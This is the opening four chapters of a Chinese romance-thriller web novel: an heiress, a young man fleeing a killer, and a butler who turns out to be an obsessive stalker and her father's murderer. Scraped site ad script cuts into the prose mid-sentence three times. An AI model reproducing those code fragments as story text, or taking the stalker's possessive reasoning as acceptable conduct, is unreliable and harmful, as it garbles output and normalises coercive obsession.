《负负得正》 1. chapter 01 十月初的麓阳已经提前进入了冬季模式,晚上九点,夜风卷带着凉意,街上依旧人来人往,车水马龙。 这个时间,麓阳的夜生活才刚刚开始。 一辆黑色轿车停在酒吧门口,人群自觉让出一条路,车门打开,下来一个身材高挑的年轻女人。 女人约莫二十来岁,在这样清凉的夜晚穿着一身红裙,身姿摇曳,正红色的长裙在人群里着实有些扎眼,周围路人纷纷投来好奇的视线,酒吧门口的店员先是一愣,随即眨了两下眼睛,憨笑着迎了上去。 “非姐您来啦?” 陈非步子一顿,红唇轻启,话还未出口,店员便露出一副遗憾的表情,凑上来低声道:“那个人还是没来呢。” “又没来?该不是故意躲着我吧?”陈非说。 店员立刻直起腰,激动地说:“那哪儿能啊!让咱非姐看中的人,上赶着都来不及呢,又不是大傻子,怎么会故意躲着您呢?” 店员说这话倒不全是恭维,要说这麓阳的陈家可能没多少人知道,但只要提到陈震海这个名字,几乎人人都会露出恍然大悟的表情,总会感叹一句“原来这就是他的女儿啊”。 这陈震海能在麓阳这么有名,还得从他白手起家,成为麓阳首屈一指的富人说起。 陈震海早年下海经商,挣了些钱转做房地产又积累了不少财富,后来网购兴起,转而投资互联网产业,就此摇身一变,成为了麓阳首富。 对陈震海事业上的经历,麓阳人谁都能说上一嘴,但关于他的私生活,那就无人知晓了,只是网上时不时会冒出一些娱乐八卦,说是陈震海的现任妻子跟他从小一起长大,门当户对。 青梅竹马日久生情这种事总是人们喜闻乐见的,不过人们对他的妻子并没有多少好奇,他们更好奇的还是陈家的继承人。 可惜陈震海有意隐瞒孩子的存在,所以这么多年,任他多厉害的狗仔都没能拍到一点八卦,直到前年陈震海出了车祸意外离世,人们才终于知道了原来所谓的继承人其实是个女儿。 陈非公开了身份之后,在麓阳引起了不小的轰动,不过随着时间过去,人们也就渐渐淡忘了,但突然在酒吧这种地方见到地方首富的女儿,众人还是忍不住驻足围观。 店员冲门边几个同事眼神示意,几个西装男迅速疏散围观群众,给陈非开出一条更宽敞的路,几个人围绕在陈非身边,颇有点女明星走红毯身边跟着几个保镖的架势。 半小时后,陈非百无聊赖地坐在沙发上,她在二楼卡座,店员很识相的“清理”了旁边几个卡座的客人,所以此时楼上就她一个。 她端着酒杯,一点点抿酒,视线在底下人群里扫来扫去,依旧没能看到自己想找的那个男人。 那只小绵羊。 今天似乎也不会来了。 想到这,陈非仰头一饮而尽,睡过去之前给管家打了电话,草草说了句“过来接我”便挂断了。 次日醒来,陈非发现自己躺在了自己家的卧室,身上穿的还是昨晚那身红裙。 她忽然想起一个月前的那一晚也是这样,她在酒吧遇见了那只小绵羊,问他要不要跟她回家,还没等到回答就醉死过去了,第二天一早也这么衣衫整齐的在自己家的床上醒来。 问管家,他说:“昨晚送小姐回家的人,是我,没有别人,小姐是不是喝得太醉,不记得了?” 陈非到酒吧调了监控,发现确实是管家说的那么回事,监控画面里,她喝成了一滩烂泥,被管家抱了出去,而她见到的那个男人根本没被拍到。 可在那之后,陈非每天都会梦见那一晚发生的事。 她看到小绵羊红着脸坐在沙发上,衬衫扣子被她解了好几颗,白净的皮肤袒露出来,也不知是灯光作用,还是酒劲上来了,她忽然很想吻一下那微微泛红的锁骨。 她也确实这么做了。 蜻蜓点水的一个吻落下,小绵羊哭了。 她恍惚抬头,看到了那双泪眼朦胧的眼睛,心里头只有一个想法:太干净了。 陈非有个不为人知的喜好,那就是从小到大她都很喜欢晶莹剔透的东西,她的收藏里有一大半都是各种各样稀有的宝石水晶,所以她看人的第一眼,总喜欢盯着人眼睛看。 但人的眼睛不像宝石水晶,再怎么干净的眼睛,仔细观察就会发现细微的“杂质”。 她还是第一次见到这么干净的眼睛,不带任何杂质、澄澈的一双眼睛。 她很迫切地问了那个问题。 “几岁了?” 小绵羊的声音不软,说话的时候,像头小狼,龇牙咧嘴的露出尖牙。 “我为什么要告诉你?放开我。” 这一秒,陈非觉得自己变成了大街上调戏良家妇女的流氓,也许是出于心虚,松开了手上的力道,眼睁睁看着到嘴的肥羊推开自己,冲出了门外。 陈非追出去的时候人已经没影了,望着繁华的走廊,她只觉着心里空荡荡的,捻了捻指尖,唯剩凉意。 这就是那一晚最后的印象。 陈非不甘心就这么放过那只小绵羊,这一个月几乎每晚都去酒吧找人,愣是半个人毛都没找到,她躺在柔软的大床上,忽然察觉门口有人。 视线一转,落在了管家身上。 李明书其实站了有一会儿了,无奈陈非心思不在这里,故而一直没察觉,他不想打扰,便一直站在门口等着,等到她察觉了,看过来了,这才抬脚走进来。 “抱歉,打扰小姐休息了。这些是您要的资料。” 一沓资料整齐的放在梳妆台上,李明书不经意一抬眼,在镜子里对上了陈非的视线。 “放那儿就行,出去吧。”陈非说。 李明书颔首,直起身,往门口走。 走出没几步,陈非叫住他:“昨天你有没有看到……” “没有。” 她话没说完,李明书就回答了。 他知道她想问什么。 “哦。”陈非撇撇嘴,再次倒在床上。 李明书一走,陈非就从床上连滚带爬地扑向了梳妆台,抓起那些资料飞快地看,眼珠子都快瞪出来了,从一开始的兴奋很快转为失望,最后随手把资料扔开,又是飞身一扑到了床上,跟条活鱼似的疯狂扑腾。 酒吧找不到也就算了,竟然连整个麓阳都查不到这么个人,简直神了! 算了算了,不就一个男人么,既然一个月都找不到,那只能说明这小绵羊就是故意躲着她,她就算找到了又有什么用?俗话说得好,强扭的瓜不甜。 想到这,陈非翻身下床,走进隔壁的衣帽间,随手摁开了其中一个衣柜,不知是在里面看到了什么,表情一僵,下一秒,顿时倒吸一口凉气,瞪大了眼睛。 就在尖叫声就要迸发而出时,衣柜里伸出一只白净的大手揽住她后颈,另一只手按住她的下半张脸,将人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一把拉进了衣柜。 衣柜门是触控的,陈非被拉进来的一瞬间,便听见滴的一声,身后的光亮慢慢合拢,她往前踉跄了几步才稳住身形,再抬眼时,四周已经暗了下来。 衣柜里的空间并不狭窄,容纳两个成年人绰绰有余,但到底是密闭空间,陈非一进来就感觉气氛有点不太对。 男人胸口温热,热度透过薄薄一层衣料传来,陈非咽了口唾沫,脑子里反复闪过刚才看到的最后一幕——柜门关上的一瞬间,光恰好照在男人的眼眸上。 她一颗心扑通乱跳,脑子一团乱麻。 还是熟悉的嗓音,冷淡的语调:“你别叫,我松手。” 陈非猛地点几下头。 压在唇上的力量撤开,陈非激动地喊了声:“小绵羊!” 即便在黑暗里,陈非也感觉到面前的人哆嗦了一下,伸手又要按住她,却被她灵敏躲过,下一秒,整个人都被她抱住了。 一时间,两个人的身体紧紧相贴,心跳声交错,衣柜里的气息灼热了起来。 小绵羊挣了好几下,没挣开。 陈非心想,这人肯定是昨晚趁她喝醉了跟来的,大概是因为发现管家来了,所以提前躲进了衣柜不敢出来。 陈非学过点擒拿,摁住一头小绵羊完全不在话下,她两只手抓住了羊前蹄,低声问道:“你知不知道我找了你多久?” 小绵羊空有那么大高个子,也就一副空架子,挣扎全是白费功夫,发现自己逃不掉,这才认命似的放弃了挣扎,闷声说:“不知道。” 陈非一听这话,顿时明白了,用力握了握他的手腕:“你真的在躲我?” 小绵羊喉结跳了一下:“没有。” 陈非笑出声来:“都被抓现行了,还没有?” “不管你信不信,我醒来就在这儿了。” 思来想去的帅哥就在嘴边叭叭,气息都带着薄荷甜香,陈非又咽了口唾沫:“行了你不用狡辩了,先出来再说吧。” 陈非松手,转身打开柜门,柜门缓缓往两侧滑开,陈非还没来得及走出去就被人一把拉回来了,随即又是一声“滴”,柜门缓缓关上。 陈非:“……你喜欢在这儿是吧?” “不能被第三个人知道。”小绵羊语气严肃,没有半点要跟她开玩笑的意思。 陈非蹙眉:“什么?” 小绵羊沉默片刻才说:“有人要杀我。” 陈非:“哈?” “真的。”小绵羊语重心长地说,“所以我在这里的事情,不能被第三个人知道。” 这次换陈非沉默了。 说实话,她很心痛,好不容易遇到个合眼缘的,以为是个不谙世事的小绵羊,没想到竟然是头脑子有点问题的疯羊。 小绵羊又强调了一遍:“真的,我没有撒谎。” 陈非笑了笑:“那你报警啊。” “报警没用,警察抓不到他。” 呦,反应还挺快,看来是有备而来。陈非想。 “行,我知道了。”陈非打开衣柜里的灯带,灯光一下照亮了整个空间,“你是想让我帮你,对么。” 小绵羊缓缓眨了一下眼睛,点了点头:“只有你能帮我。” 这话有点意思。 陈非笑了:“为什么?” 小绵羊沉声道:“因为你喜欢我。” 说实话,陈非还是第一次见到脸皮这么厚的男人。 2. chapter 02 小绵羊有个好听的名字,叫程叶子,今年二十三,小陈非五岁,她理所当然叫他小叶子。 程叶子能那么自信的说出陈非喜欢他,不是没有原因的,主要原因还是,他眼睛不瞎。 陈非每次跟他对上视线时,眼神里透露出的渴望,都让他有些害怕。 他第一次见到这么胆大的女人,好像一不注意就会被她拆了骨头吃干抹净。 死无全尸。 一个月前,程叶子在酒吧的贵宾包厢见到了一个醉醺醺的女人。 那就是陈非。 不得不说,这个女人安静睡着的时候,确实美得动人心魂。彼时他在躲一个人,准确来说是个疯子,所以根本顾不上多看两眼,直接往洗手间里躲。 就要锁门的一瞬间,女人推门进来了,不由分说抓着程叶子的衣领,口齿不清地问:“你从哪儿冒出来的?” 程叶子吓了一跳,生怕被外面的人发现,无奈之下只好把人嘴捂上,匆匆拉进洗手间,一起缩进墙角。 洗手间的墙壁并不隔音,没几秒他就听见了有人推门进来了,洗手间的门上是磨砂玻璃,随着脚步声越来越近,他很快看到一道人影从门外经过,那人没作停留,慢慢走了过去,脚步声听来很怪。 那就是程叶子一直在躲的人,一个杀人不眨眼的怪物。 不知是从什么时候开始,他发现有个人一直在暗中盯着他,起初他没当回事,因为对方只是跟着,并未做什么出格的事,直到他亲眼目睹了那人杀人分尸的过程才察觉到事情的严重性。 他试过报警。 但警察把他批评教育了一顿,劝他早点去医院看看。 程叶子不是傻子,一听就懂了,警察这是拿他的话当疯话,教育他报假警是犯法的。 因为当他把警察带到现场时,七零八落的尸块早就被那人清理干净了,现场也被打扫的一尘不染,没有尸体,警察自然也不会当作杀人案继续查下去,勘查了现场之后,他们很快做了判断,警告了程叶子,下次再报假警就要抓他了。 所以程叶子只能躲。 不然要么被杀,要么杀人,两条都不是什么好路。 此时,程叶子可以清楚听见门外隐隐传来的脚步声,那是怪物的脚步声,并且离门越来越近了。 程叶子几乎屏住了呼吸,眼睁睁看着人影贴在了门玻璃上,接着他听到了门把拧动的声响。 完了。 被发现了。 他也会变成一滩七零八落的尸块了。 就在这时,怀里的女人忽然抬起头,两人距离太近,她这么猛地一抬头,打得程叶子措手不及。 想退,身后是墙角,想推开,门外是杀人犯。 于是他只好僵在原地,紧闭双眼,壮烈的迎接了一个灼热的吻,柔软的唇瓣相贴,他嗅到了酒气里夹杂的薄荷清香,这一刻,程叶子脑子里只有一个想法:初吻没了。 洗手间的门打开了一条缝,程叶子喉头滚动几下,手指穿过柔软的发丝,一个旋身,把人抵在了墙角,加深了这个吻。 程叶子已经做好了赴死的准备,临死前只想着别让无辜的人卷进来,要死也是他先死,但奇怪的是,迟迟没人往他背后捅刀。 在急促的呼吸声中,他趁机用余光往门口瞥了一眼,这才发现门不知何时重新关上了。 那个人走了? 程叶子赶紧松手,跑出去把包厢里里外外、仔仔细细的检查了一遍,确定没人在,才终于放下心来。 他正准备离开,但刚才的女人正好从洗手间出来,挡住了出去的路。 她有点大舌头,说话带着一股子傻气:“谁准你走了?” 程叶子的目光落在她凌乱的口红上,忽然皱起了眉头:“你想干什么?” 她眨眼的速度很慢,明显醉的不轻,程叶子不想跟这种女人纠缠,但对方力气很大,拽着他坐到沙发上时,他感觉像被一头牛撞了一下。 女人一上来就解他扣子,这可把程叶子吓坏了,连忙挣扎着想起身逃跑。 哪儿有这么一上来就扒人衣服的? 这还有没有王法了? 女人的动作突然停住,程叶子也被吓得定住,一个不留神,锁骨上就多了一枚唇印。 这实在是太屈辱了! 程叶子咬着牙,气得眼泪汪汪。 他想面前的要是个男人,他真的会揍死他,偏偏是个女人,还是个喝醉的女人。 他跟自己置气,怪自己今晚不该慌不择路溜进这么一家酒吧,还钻人家包房里来。 初吻没了是活该,被人调戏也是活该。 女人黑白分明的眼睛直勾勾地盯着他,看得他心里发毛,只想逃走。 女人问他几岁了,他压着怒意说:“我为什么要告诉你?放开我。” 趁着人恍惚的瞬间,他把人推开,头也不回地跑了。 刚跑出去没多远,他在拐角处撞到了一道人影,没等看清是谁,便是眼前一黑,等到醒来时,人已经在衣柜里了。 “所以呢?”陈非听完还是不解,“我亲你一口,你就觉得我喜欢你了?” 程叶子在心里反驳:不,是两口。 陈非嗤笑一声,“你咋这么自信呢。” 程叶子二十三岁了,再怎么不懂事,多多少少也知道怎么回事,这要是连谁喜欢他都看不出来,那这么多年真算是白活了。 何况陈非表现的那么明显…… 还有,他刚才躲在衣柜里听到那个男人叫她小姐,心想这个女人一定就是这里地位最高的,索性心下一横,赌一把,所以刚才他才会跟她求救。 不过既然人家话都说到这份上了,他一咬牙,索性作罢,抬脚就走。 “算了,就当我没来过。” 程叶子还没走出半步,陈非就伸手拉住了他的手腕,说:“我没反驳啊,小叶子。” 你说我喜欢你,我没反驳啊。 陈非走到程叶子面前,看着他紧皱的眉头,笑着说:“不管你说的是真是假,我愿意帮你。” 程叶子快速抬眼扫了她一眼,随即垂下眼眸:“为什么?” 此时此刻,陈非心底涌上来一股强烈的情绪,她想的明明是——因为我不只想亲你,我还想做点儿别的,但她说的却是—— “因为我有钱。” “那个杀人犯,我帮你找,警察不信你,我信。” *** 晚上,程叶子躺在床上,抬起手腕看那上面泛红的痕迹。 那是陈非攥出来的。 看着淡淡红痕,他不自觉想到了白天她说的那些话,心里头的疑惑再度涌了上来。 他不明白这个女人为什么如此轻易就信了他的话,但他能看出来,她不是在说谎。 那就是对他有所求了? 于是思绪一转,想到了被夺走的初吻,面色一下红润起来。 程叶子暗暗下定决心,一定不能让她轻易得逞,否则等不到抓住杀人犯,说不定那个女人就变心了。 不过眼下他担心的还有另一件事,那就是他一直以为今天是第二天,但陈非却说已经过去一个月了。 忘记几分钟或是几小时的事都有可能,但整整一个月的事情都忘记了,这种事……有可能吗? 程叶子想到了昨晚,哦不,应该说是一个月前晕过去的最后一幕,他的头好像挨了一下。 他想,说不定这一个月的空白就是因为那一闷棍导致的。 换句话说,他不是莫名其妙失忆,而是物理被迫失忆。 但他还是想不明白,就算是失忆,那他这一个月究竟做了什么?为什么醒来后会平白无故出现在这个房间里? 另一边,陈非坐在监控室里,面无表情地看着屏幕上的画面,淡淡开口:“李管家倒是一点儿不拿自己当外人啊。” 李明书沉默地站在她身后不远处,看着画面里的自己打横抱着烂醉的她进了别墅,亲手把人放到卧室床上才起身离开。 如果画面只是到这,倒是没什么异常,无非是管家逾矩,擅自以这样亲昵的姿势把主人家抱进了卧室,但陈非又接着往后跳了一段。 转瞬间,就是半小时后。 画面里,李明书去而复返,手里端着洗脸盆,盆里是热水和毛巾。 陈非看到这,眉头一挑,用余光扫了一下李明书,见他神色如常,便又收回目光,静静看着监控画面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里的人替她仔细擦拭额头。 陈非椅子一转,两手环抱在胸前,下巴微微一抬,笑道:“你说我该继续看下去,还是停在这儿?” 李明书目光平淡地看着她:“继续看吧。” 他很坦然,这让陈非一下失去了捉弄他的兴致,椅子又一转,啪嗒按下播放键,画面继续。 画面里的她不清醒,李明书却是完全清醒的,她忽然抱住了他的胳膊,这一动作似乎吓到了他,手里的毛巾因此跌进了水里,水盆翻倒,溅起的热水浇湿了他的膝盖,以及地板。 李明书只是低头看了一眼,却没有任何动作,继续站在原地,一动不动。 他很高,身材偏瘦,总是穿着西装,那晚是白衬衫搭深蓝西装,衣袖挽到了手肘处,衣领敞到了锁骨,他站在床边必须要弯下腰才能让陈非抱住胳膊,不至于摔下床,半醉不醒的陈非在拽他,他没有坐下,只是弓着后背站在原地,于是衣领就敞到了胸口。 “小姐。”他叫了一声,但陈非丝毫没听见,继续依偎在他的胳膊上。 那天晚上的事,陈非只在第二天早上问过,并未亲眼看过,现在一看,不自觉皱起眉头。 这个李明书,她是越看越不顺眼。 画面里,李明书就那么站了几分钟,随后慢慢坐下来,也许是察觉到他坐下来了,半梦半醒的陈非放开了胳膊,直接抱住了他的腰,歪着脑袋趴在他腿上睡了过去。 如果说前半段是她喝醉之后的无理取闹,那现在就是李明书吃了熊心豹子胆了。 啪地一声! 陈非按了暂停,背对着李明书,没有说话,屏幕倒映着她的脸,看不出什么情绪的一张脸。 但李明书却清楚知道,她在生气。 李明书今年三十,明面上是陈家的管家,实际却是陈家的养子,自打陈非记事以来,这个人就在了。 在陈非眼里,李明书一直都是个性格温和的大哥哥,他对她很好,处处周到,因为年纪相仿,年幼的他们很快成了好朋友,她以为李明书会是她一辈子的亲人,直到后来,她阴差阳错发现了李明书的日记,那时她才明白,这个人永远不会对别人付出真心。 因为李明书在日记里说恨她。 他在日记里说恨她,希望她去死,却在现实里假装对她好,假装喜欢她,装得温柔似水,纯良无害。 从那以后陈非便开始刻意疏远李明书,如果不是因为陈震海的遗嘱,她早就把这个伪善的男人赶出了家门。 从回忆里收神,陈非站起身,朝门口走去,李明书往旁边一动,挡住了她的去路。 “小姐,我什么也没做。” 陈非只是醉了,又不是死了,他做没做,不需要看监控也能感觉到,她二话不说要走只是被恶心到了,觉得自己就是醉了也还是依赖这个人,她看着自己抱着他睡觉的画面,不由想到了小时候,每当打雷下雨时,她也总是这么抱着他才能睡着。 她是在生自己的气。 “你罚我吧。”李明书说。 “让开。”陈非瞪着他,语气不悦。 李明书微微垂眸,望着她的眼睛,忽然蹙眉,扬手扇了自己一巴掌。 啪! 陈非往后退了半步,看到李明书的半边脸以肉眼可见的速度红肿起来,她更觉得恶心了,咬牙道:“你吓唬谁呢?” 李明书那一巴掌太过用力,脸肿起来了,掌心也开始发麻,他听到陈非的话先是一怔,随即摇摇头,额头的几缕碎发挡在眼前。 几秒后,他忽然笑了,让开了路。 陈非最不喜欢的就是他这一套,她依稀记得小时候也是这样。 她背着陈震海偷溜出去玩,回来之后陈震海罚她,她不认,因为她不觉得出去玩就是错了,在她打算抗争到底的时候,李明书跑出来挡在她前面,替她认罚。 那时候他们已经闹掰了,他却要替她认罚,好像她真的大错特错了似的。 此时此刻,她站在原地没动,看到李明书嘴唇一张一合,轻声道:“你不罚,我替你罚。” 陈非深吸一口气,说:“李明书,我最讨厌你这样。” 李明书扯了扯僵硬的嘴角,笑道:“我知道。” 3. chapter 03 李明书怎么会不知道呢? 他从小就知道。 因为打从记事起,他就是个孤儿。 谁要是讨厌他,无意间的一个眼神,他就能看明白。 那个年代,流落街头的孤儿并不少,街头街尾,随处可见,他身在其中,靠乞讨过活。 有人给,他就活一天,没人给,他就饿一天,日子一天天过,年龄混上来了,个头还是那么大点儿。 约莫是八岁那年,他在街头遇到了一个男人,西装笔挺,身材高大,他得仰头看才能看清人长什么样。 那是他见到陈震海的第一面,跟这个人比起来,他第一次觉得自己不像个人,像一条狗,泥里打滚的那种野狗,脏的要命。 陈震海给了他钱,叫他好好活着,他没来得及说声谢,车门就关上了,他只好站在原地目送,眼看着轿车拐过了街角,他才转过身来,蹲下去捡泥泞里的百元大钞。 可惜,没等他走出那条街,劫道的突然冒出来想抢走他的钱,这些钱够他吃好久的饭了,他当然不愿意轻易放手。 但彼时的他,尚且没有能力跟人斗争,那张沾着泥水的百元大钞轻而易举就被人夺了去,走之前顺带还揍了他一顿。 他不甘心钱就被人这么抢走,于是拖着剧痛的身体冲上去,一口咬住对方的手,将那张脏兮兮的钱抢了回来,一口咽进了肚子里。 他因此差点被打断了气。 八岁的李明书躺在泥泞里,瘦瘦小小的,一动不动,没个活气,只有那双眼睛提溜转着,没转出个名堂,一场大雨就下起来了。 他从泥水里爬起来,追着那辆轿车离开的方向慢慢走去,找到别墅门口的时候,人已经快不行了,又是高烧,又是内出血,病了三四天才清醒过来。 那时候的管家还不是他,那时候的管家叫老陈,是个白发苍苍的老头。 李明书病得糊涂时,曾听到老陈在床边跟人说话。 “医生说这孩子可能活不过今晚了,陈先生,你看咱们要不要先把人……” 老陈是想说送出去,活着的时候送出去,那就不算是死在了陈家,也就少了很多麻烦。 李明书不是第一次听到这种话,那一刻,他什么也没想,只觉得理所当然。 但他等了很久,没等到那位陈先生说话,等到再次睁开眼睛,已是次日清晨。 他退烧了。 没死,还活着。 他久违的体会到了真正活着的感觉。 陈家很大,容纳一百个他都绰绰有余,那天过后,他就留在了陈家,成为了陈家的一份子。 谁也不知道他醒来后看到的第一个人,是个小姑娘,白白净净的,特好看,像商店橱窗里展示的瓷娃娃一样好看。 同一天,他也见到了老陈口中的陈先生,那个授意留他一条命的陈震海,他的救命恩人,瓷娃娃的父亲。 “以后没有外人在,你应该叫我什么?” 李明书答:“干爹。” 陈震海又问:“叫她什么?” “……小姐?” 李明书曾听到管家这么叫她。 陈震海摇摇头,说:“不对。” 李明书当时还不知道瓷娃娃的名字,陈震海说不对,他就愣住了,想着叫小姐不对,难不成要叫少爷? 他试探的叫了声:“……少爷?” 话音刚落,他便感觉一道疾风直奔面门,那是个茶杯,刚刚还握在陈震海手里的茶杯,现在就要砸在他头上,多年挨打的本能让他迅速做出了躲避的动作,最一刻却被他硬生生止住了。 茶杯在他头上磕出了一道血口子,砸在地上,碎了一地。 血顺着李明书的额头流下来,像一条蜿蜒的小溪,在眼睛里汇成了血河。 “干……干爹?” 陈震海眉头紧皱,声音有些颤抖:“孩子,你记好了……” 李明书忍着没眨眼,视线里一片红,他听到陈震海缓慢而低沉的声音在说:“从今往后,你就是小叶子的哥哥,不论发生什么事,你都要替我保护好她。” “你的命是我救回来的,你就是死,也得死在小叶子手上,你明白吗?” 李明书不明白。 但他深知寄人篱下,主人家说什么那就是什么,再说小叶子那么可爱,他也愿意做她的哥哥,一辈子护着她。 于是他点了头,应下了这份承诺,就这么成为了陈震海暗地里的义子。 李明书隔三差五就去看小叶子,每次过去,都带着最近收集到的小玩意儿,小叶子从小大门不出,二门不迈,见什么都新鲜,对他崇拜得不行,天天追在他屁股后头叫哥哥,这样的日子一晃眼就是十年。 这年李明书十八,长高了很多,身体也壮实了不少,这些年读书锻炼,他一样没落下,陈震海对他很满意,但小叶子却恰恰相反。 不知从何时开始,小叶子不再叫他明书哥哥,也不再像以前一样,在雷雨的夜晚哭着要他抱着睡觉。 他觉得很奇怪,不明白自己做错了什么。 一个阳光明媚的下午,他又去看望小叶子,远远的他就看到小叶子坐在树下看书,他偷偷走过去,还未走近,便看到小叶子突然站了起来,好像在对着身边的空气说话。 他以为小叶子故意吓他,然而看了半天,小叶子依旧一边说话一边笑,那笑不像假装的,就好像她身旁真的有个他看不见的人存在着。 他把这件事告诉了陈震海。 陈震海却叫他管好自己的嘴,不要让第三个人知道这件事。 从那以后,李明书每次去看小叶子都会格外注意她的一言一行。 他很快发现,小叶子身体里好像有两个人存在。 她高兴的时候,表现出来的样子就跟小时候一样,很喜欢黏着他,这个时候她总是叫他明书哥哥。 不高兴的时候,就像换了个人似的,对他极其冷淡,有时眼神中甚至会透露出敌意。 李明书不喜欢她这样,这让他感觉心慌,他想,万一有一天小叶子再也变不回来了怎么办? 万一,她永远变成那个不喜欢他的小叶子,怎么办? 也是这时候,李明书发现自己好像生出了不该有的心思。 那段时间天气很不好,阴雨绵绵,连日小雨。 他的心情也很不好,因为小叶子已经很久没有叫过他明书哥哥了。 他想,这样也好,这样一来他或许就没有那么痛苦了。 可他很快发现自己大错特错了。 不见小叶子,他开始整夜整夜睡不着觉,朋友开玩笑,说他得了相思病,他第一次没忍住自己的情绪,冲人发了火,朋友吓了一大跳,顿时恍然大悟,问他那个人是谁。 他说不出来,良久,苦笑着摇了摇头,起身离开。 十八岁的李明书学会了抽烟,睡不着觉的时候他就坐到书桌前,一边抽烟,一边写日记。 他在日记里写了无数遍小叶子的名字,像是刻下了某种诅咒,写到纸张都划烂了还是不起半点作用。 他桌上的烟灰缸总是盛满了烟头,风吹进来,卷起一桌烟灰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,染脏了日记的纸页。 这天晚上,他掀翻了桌子,撕碎了日记,不管不顾用窗帘裹住了脑袋,拼尽全力一头撞在了墙上,体会了一把窒息濒死的感觉,才终于觉得活了过来。 后半夜,他避开监控和保镖,偷偷翻进了小叶子的卧室,就这么顶着一脑门子还没凝固的血,在阴暗的角落里看了小叶子一晚上,直到天蒙蒙亮时,才拖着疲惫不堪的身体离开。 这件事没能瞒过陈震海。 某天,陈震海很平静的把他叫到自己面前,说:“小叶子是我唯一的女儿,我不放心把她交给任何人,当然,也包括你。不过……我想给你一个机会,十年,你要是能帮我把麓阳给吃下来,小叶子就是不愿意我也把她交给你。” 自那之后,李明书比以前更加拼命。 他不再在日记里重复的写着同一个名字,而是将所有痛苦都发泄在刻苦读书上,他学着怎么做生意,学着怎么搞垮对手,学着怎么替陈家敛财。 好像也就一眨眼的功夫,沉默无言的瓷娃娃长成了亭亭玉立的少女。 她开始刻意疏远他。 他想,或许她发现了。 发现了他藏在抽屉深处的那点肮脏心思。 她说最讨厌他这样,李明书当然知道。 他太知道他们这些有钱人高高在上的样子了,好像自尊没了马上就会死掉,宁可割肉放血也要跟罪恶撇清关系,陈非的讨厌是写在眼睛里的,即使不说出来,他也能随时随地、清楚地看到他们之间的鸿沟。 然而对他来说,尊严不如地上的一粒米来得重要。 是从什么时候开始,那个喜欢追在他屁股后头,甜甜笑着,叫他明书哥哥的小女孩变成了如今这个对他视若无睹的女人。 如果非要说个时间的话,他想,应该是两年前的那一天。 他弄死陈震海的那一天。 陈震海估计永远也想不到,设计谋杀他的人,会是他一手培养的义子。 不过这也怪不得他,毕竟当初说给他机会的人就是他自己。 现在李明书花了整整十年,完成了当年的承诺,别说是整个麓阳,他在这十年里替他们陈家积攒下来的财富,吃下十个麓阳都够了。 当他来到陈震海面前,希望他可以履行当初对他的承诺时,陈震海却说:“开个价吧,你想要多少都可以。” 那时候李明书就明白了,承诺就是用来打破的。 他没想到陈震海会在遗嘱里写上他的名字,不过可惜,他知道的时候已经晚了,人都死了,再多的钱也挽回不了。 李明书不后悔这么做,那些钱和股份也本就是他应得的,不过他想要的,从来都不是那些唾手可得的东西。 他要小叶子心甘情愿。 嫁给他。 在那之前,他会一直守在离她最近的地方,等她回头。 不过现在看来,是他错了。 李明书回过神,看着眼前的女人,慢慢蜷起发麻的手指。 他在心里补了一句:可你再怎么讨厌,也甩不掉我,不是么? 陈非冷冷地看着他,没有说话。 李明书忽然笑了。 小时候他大病一场,醒来第一眼看到的人就是陈非。 他心知肚明,此时的陈非再怎么讨厌他,也还是跟那时候的瓷娃娃一样,只是看着很冷。 他想,只要除掉另一个小叶子,陈非很快就会热起来的,就像小时候一样。 总有一天,她还会再叫他一声明书哥哥的。 他等得起。 4. chapter 04 半夜,程叶子突然醒了。 一睁眼发现面前躺着个人,那是陈非。 这可把他吓了一跳,猛地一个后缩,差点儿从床上滚下来。 他记得自己分明在睡在客房,但这里明显不是他睡的那一间,他不知道到底是自己梦游,还是这个女人趁他睡着之后动了什么手脚,把他给弄过来了。 近在咫尺的女人呼吸均匀,像是真的睡着了。 程叶子眨了眨眼,开始环顾四周。 不管是什么原因,他现在得趁着人醒过来之前尽快离开这里才行,否则以他对这个女人的了解,这三更半夜的,孤男寡女独处一室,还同睡一张床,他就是有十张嘴都说不清楚。 程叶子轻手轻脚掀开了被子慢慢起身,一颗心都快提到了嗓子眼,丝毫没注意到床上的人早就察觉,随着他起身的动作慢慢睁开了眼睛。 不知为何,程叶子莫名想起了白天在衣柜里的场景,立刻觉得周围的空气都开始莫名其妙的变热,连呼吸都变得有些不太正常。 他不自觉咽了几口唾沫,觉得喉咙干涩得不行,也是这时,他突然想起自己已经好几个小时没喝过水了。 难怪这么口渴。 他光着脚踩在地上,小心翼翼往门口走去。 “你去哪儿?”陈非说。 程叶子脚步一顿,整个人都僵住了:完了完了,这下好了,被人逮个正着,他就是跳进黄河也洗不清了! 或许是因为落地窗的缘故,又或许是因为今晚月光太过皎洁,即便在黑暗中,陈非也能清楚看见程叶子紧绷身体下蜿蜒游走的肌肉线条。 她发誓,在她过往见过的那么多身材好的帅哥里,程叶子的线条绝对是最干净的。 程叶子呼吸一窒,低声问道:“你什么时候醒的?” 陈非笑道:“刚刚。” 两个字被她说得轻飘飘的,尾音还带了点儿上翘。 程叶子汗毛都竖起来了,却还是故作镇定:“哦,没什么事我就先走了。” 陈非:“你是不是……” 程叶子迈出去的步子一顿,鬼使神差地停下来去听她后边的话。 “应该给我个解释?” “什么解释?”程叶子转过身来。 一本正经,明知故问。 陈非打开床头的台灯,暖黄的灯光映在她脸侧,映照出精致的五官,她的嘴唇很薄,跟程叶子的嘴唇十分相似,但相较之下,程叶子的嘴唇更薄一点,唇色也更淡,所以乍一看,两个人有些相似,细看却又是截然不同的气质。 陈非也不知自己是不是被美色迷了心窍了,本来是想问问这人怎么大半夜躺到自己床上来了,但一看他那副又怂又怕的样子就心头一软,索性算了,没有继续往下问。 程叶子突然像想到了什么似的,问道:“你怎么一点也不惊讶?” “惊讶什么?”陈非挑眉。 “我啊。”程叶子指着自己说,“我跟你,我们两个人突然躺在一张床上,你好像一点也不惊讶?” 陈非笑了:“你不是第一个偷偷爬我床的男人。” 程叶子蹙眉:“什么意思?” 陈非耐心解释:“意思就是,一步登天有很多方法,这只是其中一个。” 程叶子呆住,知道她是误会了,正想解释,又听她说:“我不是说过了吗?我有钱,很多很多钱。” 程叶子眉头皱得更紧了。 